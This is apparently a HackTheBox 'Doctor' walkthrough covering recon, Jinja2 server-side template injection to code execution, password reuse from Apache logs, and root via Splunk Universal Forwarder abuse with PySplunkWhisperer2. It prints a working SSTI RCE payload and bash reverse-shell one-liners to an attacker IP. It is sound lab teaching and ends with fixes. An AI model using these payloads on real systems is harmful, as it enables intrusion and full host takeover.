Post

HackTheBox - Doctor

Pre

  • Doctor is the box that made SSTI (Server-Side Template Injection) click for me. A Flask app renders a user-supplied string through Jinja2 without escaping, and that single mistake turns “print my name” into “run my commands”.
  • The escalation introduces Splunk abuse via the Universal Forwarder – a technique you’ll meet in real corporate networks far more than in CTFs.
  • This is the injection-heavy sibling of Jarvis; if SQLi there felt good, SSTI here is the same “user input reaches a dangerous interpreter” idea in a different language.

Phase 1: Recon

1
2
3
4
5
$ nmap -Pn -n -p- --min-rate 10000 --open -vv -oN nmap/firstScan $IP
PORT     STATE SERVICE REASON
22/tcp   open  ssh     syn-ack
80/tcp   open  http    syn-ack
8089/tcp open  http    syn-ack
1
2
3
4
5
6
$ nmap -Pn -n -p 22,80,8089 -T4 -sSCV -A -oN nmap/versions $IP
22/tcp   open  ssh      OpenSSH 8.2p1 Ubuntu
80/tcp   open  http     Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Doctor
8089/tcp open  ssl/http Splunkd httpd
|_http-server-header: Splunkd

Port 8089 is Splunkd – file that away, it’s almost certainly the privesc. The website on 80 is a hospital landing page. In its contact section there’s an email domain: info@doctors.htb. That’s a vhost hint, so we add it:

1
$ echo "10.10.10.209 doctors.htb" | sudo tee -a /etc/hosts

Browsing http://doctors.htb gives a completely different app: a Flask-based messaging portal with register/login.

Phase 2: Finding the SSTI

We register an account and explore. The app lets us post messages with a title and body. Poking at the page source, there’s a hidden /archive endpoint that renders posts into an RSS-style feed – and it reflects the post title.

Anywhere a framework renders our input back to us, we test for template injection with a math probe:

1
Title: {{7*7}}

Load /archive and view source – if it shows 49, the title is being evaluated as a Jinja2 template. It does. That’s SSTI confirmed.

The {{7*7}}49 test is the universal “is this a template engine?” probe. If you instead see {{7*7}} echoed literally, it’s not SSTI (maybe XSS). If you see 49, keep going toward RCE.

Phase 3: SSTI to RCE

Jinja2 SSTI escalates to code execution by walking Python’s object model until we reach the os module. A reliable payload:

1
{{ config.__class__.__init__.__globals__['os'].popen('id').read() }}

Posting that as a title and refreshing /archive returns uid=1001(web). Now we swap id for a reverse shell (URL-encoded to survive transport):

1
{{ config.__class__.__init__.__globals__['os'].popen('bash -c "bash -i >& /dev/tcp/10.10.14.7/4444 0>&1"').read() }}

With nc -lvnp 4444 waiting, we catch a shell as web and stabilise it.

Phase 4: Password reuse → shaun

web can’t read the user flag (that belongs to shaun). Time to hunt for secrets in places a low-priv user can read. Apache logs are a classic:

1
2
web@doctor:/$ grep -iR "password" /var/log/apache2/ 2>/dev/null
GET /reset_password?email=Guitar123 HTTP/1.1

Someone typed a password into a URL that got logged (a real, embarrassingly common mistake). We try Guitar123 against the local users – it’s reused for shaun:

1
2
3
web@doctor:/$ su shaun
Password: Guitar123
shaun@doctor:~$ cat user.txt

Phase 5: Splunk Universal Forwarder → root

Back to that port 8089 Splunk service. Splunk’s Universal Forwarder can be told, by an authenticated user, to run scripts on the host – and here it runs them as root. The tool PySplunkWhisperer2 automates exactly this: it packages a payload as a Splunk app and pushes it through the forwarder’s management endpoint.

1
2
3
4
$ python3 PySplunkWhisperer2_remote.py \
    --host 10.10.10.209 --port 8089 \
    --username shaun --password Guitar123 --lhost 10.10.14.7 \
    --payload "bash -c 'bash -i >& /dev/tcp/10.10.14.7/5555 0>&1'"

The forwarder executes our payload as root, and our second listener catches the root shell:

1
2
3
$ nc -lvnp 5555
root@doctor:/# id
uid=0(root) gid=0(root) groups=0(root)

Conclusions

  • Doctor is a clean two-part lesson: SSTI (input → Jinja2 → Python objects → os), then a real-world Splunk Universal Forwarder abuse.
  • Two habits pay off: probe every reflection point with {{7*7}}, and always grep logs for leaked passwords when you’re stuck between users.
  • Fixes: never render user input as a template (use autoescaping and pass data as context variables), and lock down Splunk forwarder management with authentication + disableDefaultPort.
  • Next is one of my favourites: Jenkins, KeePass and pass-the-hash on Jeeves.

Keep hacking 🙈🙉🙊

This post is licensed under CC BY 4.0 by the author.